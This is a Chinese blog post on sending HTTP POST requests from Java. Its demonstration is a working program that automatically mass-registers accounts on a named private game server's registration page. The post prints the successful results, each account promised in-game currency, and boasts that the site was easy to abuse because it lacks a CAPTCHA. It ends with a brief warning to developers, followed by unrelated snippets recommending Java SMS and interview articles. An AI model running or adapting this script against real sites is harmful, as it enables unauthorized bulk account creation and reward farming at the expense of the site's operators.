大伙都知道利用JAVA的net包的URL类和 URLConnection可以得到网页源代码(这个应该是蜘蛛程序的锥形吧),但是向网页发送数据怎么办呢,GET请求很好处理,直接在网址后面加参数就可以了,但是可不可以向网页中发送POST请求呢,注册程序就是我们在点击提交按钮后往指定页面发送POST请求以便送往数据库
本例就来做个演示,往一个完美私服的数据库里不断发送注册请求
import java.net.*;
import java.io.*;
import java.util.Locale;
class Test
{
public static void main(String[] args)
{
try
{
//用于注册的用户名 密码 问题 答案临时变量
String temp="renyanwei";
//就注册10个吧,别太过火了
for (int i=1;i<10;i++)
{
String urlstr="http://www.88wanmei.cn/register.php";
URL url=new URL(urlstr);
URLConnection conn=url.openConnection();
//这里是关键,表示我们要向链接里输出内容
conn.setDoOutput(true);
//获得连接输出流
OutputStreamWriter out=new OutputStreamWriter(conn.getOutputStream());
//这里是我定义了一组账号信息,字段+数据
String str=String.format(Locale.CHINA,"login=%s&&passwd=%s&&repasswd=%s&&Prompt=%s&&answer=%s&&email=%s",
temp+i,temp+i,temp+i,temp+i,temp+i,"ren@ren.com");
//把数据写入
out.write(str);
out.flush();
out.close();
//到这里已经完成了,不过我们还是看看返回信息吧,他的注册返回信息也在此页面
BufferedReader reader=new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line=null;
int lineNum=1;
while((line=reader.readLine())!=null)
{
++lineNum;
//为什么只输出174行呢,因为这一行才是返回信息嘛,要其他的没用
if(lineNum==174)
System.out.println(line);
}
}
}
catch (Exception x)
{
System.out.println(x.toString());
}
}
}
返回信息
用户 <b>yanwei1</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei2</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei3</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei4</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei5</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei6</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei7</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei8</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
用户 <b>yanwei9</b> 注册成功!,请10分钟后重新上线查收元宝。<br/>
总结:为什么我们可以这么肆无忌惮的玩弄人家,最重要的原因是什么?无验证码!
通过这个程序只是想劝告大家,以后做网页可一定要注意这一点儿啊,不然碰到别有用心的人可不好玩儿啊
分享到:
相关推荐
在本文中,我们将深入探讨如何使用Java编程语言调用梦网云通讯平台的API来实现短信发送功能。梦网云通讯平台提供了一整套服务,包括短信、语音、流量等通信能力,帮助企业轻松构建通信应用。为了实现这个功能,我们...
而对于HTTP/RESTful接口,通常会有一个HTTP端点,服务提供商在接收到短信后会向该端点发送POST请求,你需要解析请求体以获取短信内容。 6. **认证与安全性** 在发送和接收短信时,确保通信的安全性至关重要。使用...
Java股票查看软件是一种利用Java编程语言开发的应用程序,它能够实时地从平安证券网站等金融市场数据源抓取并显示股票相关信息,帮助投资者进行股票市场的观察和分析。Java作为跨平台的编程语言,具有良好的可移植性...
- 调用API:创建一个HTTP客户端,设置请求头,携带必要的参数(如手机号码、短信内容、API密钥等)向短信服务商的API发送POST请求。 - 处理响应:接收HTTP响应,检查状态码和返回信息,判断短信发送是否成功。 6....
- **Java Distributed Computing**: 分布式计算是现代Web服务架构中的一个重要方面,这部分内容涉及如何利用Java进行分布式系统的设计和实现。 - **Developing JavaBeans**: JavaBeans是一种可重用的组件模型,通常...
- **处理请求阶段**:每当客户端发送请求到服务器时,服务器会创建一个新的线程来处理该请求。在这个阶段,Servlet的`service()`方法会被调用,它会根据HTTP请求类型(GET、POST等)调用相应的`doXXX()`方法。例如,...
### Java经典面试题知识点梳理 #### J2SE基础 1. **九种基本数据类型的大小,及其封装类**: - Java提供了八种基本数据类型(`byte`, `short`, `int`, `long`, `float`, `double`, `boolean`, `char`),每种类型...
在构建自动顶贴程序时,这个库起到了关键作用,因为它可以模拟用户在论坛上的交互,如发送POST请求来创建新的帖子或回复,以及GET请求来获取论坛数据。 首先,了解Java编程基础是必要的。Java是一种面向对象的、跨...
这些信息通常通过HTTP POST请求发送到服务器端。 2. 验证信息 在服务器端,Java Web应用程序会对输入的数据进行验证,如检查用户名是否已存在,密码是否符合强度要求,邮箱格式是否正确等。验证通过后,系统会保存...
当用户提交表单时,服务器会接收到包含验证码的POST请求。在Servlet的`doPost`方法中,取出会话中的原始验证码并与用户输入的验证码进行比较。如果两者匹配,验证成功;否则,提示用户重新输入。 六、注意事项 1. ...
这些题目涵盖了Java编程语言、操作系统、网络协议、Java虚拟机(JVM)、并发与线程、内存管理、异常处理、分布式系统以及相关的网络和安全概念。以下是对这些知识点的详细解释: 1. **Java事件机制**:包括事件源、...
Java提供了`java.net`包,包含Socket、HttpURLConnection等类,用于发送HTTP请求到百度搜索引擎,获取并解析返回的资源信息。 3. **HTML页面解析** 要从网页中提取资源信息,需要解析HTML页面。这通常通过DOM...
redirect就是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,一般来说浏览器会用刚才请求的所有参数重新请求,所以session,request参数都可以获取。 20、EJB与JAVA BEAN的区别? Java Bean 是可复用...
1. Java基础:Java是一种广泛使用的面向对象的编程语言,具有平台无关性、垃圾回收、自动内存管理等特性。对于计算器应用,Java的基础语法、类与对象、异常处理等知识是必不可少的。 2. MVC设计模式:iOS应用开发中...
系统前端可能采用了现代化的Web技术栈,如React、Vue或Angular,通过发送AJAX请求与后端交互,实现动态页面展示。用户界面设计应简洁直观,方便用户快速查询垃圾类别并获取相关处理建议。 此外,为了提升用户体验,...
Java EE API,也被称为Java 2 Platform, Enterprise Edition (J2EE),是Java平台用于开发和部署企业级应用程序的标准。...通过不断学习和实践,开发者可以更好地利用Java EE提供的强大功能来满足复杂业务需求。
本文将详细讲解如何利用阿里短信发送接口实现相关功能。 一、阿里短信服务概述 阿里云短信服务是基于HTTP/HTTPS协议的RESTful API,具有高并发、低延迟、稳定可靠的特性。它提供了丰富的API接口,支持多种语言的SDK...
邮件服务器的核心功能包括SMTP(Simple Mail Transfer Protocol)用于发送邮件,POP3(Post Office Protocol version 3)或IMAP(Internet Message Access Protocol)用于接收邮件。MeyboMail Web可能会实现这些协议...
3. 发送POST请求到提供商的服务器,然后解析响应以确认短信是否成功发送。 无论哪种情况,都需要考虑以下关键知识点: 1. 权限管理:在Android中,发送短信需要在AndroidManifest.xml中声明 `...
- **使用HTTP请求**:发送GET或POST请求。 - **使用Ajax**:异步JavaScript和XML技术,实现局部刷新。 - **WebSocket**:实现全双工通信。 #### 23. 逻辑操作与条件操作的区别 - **逻辑操作**:如&、|,短路与非...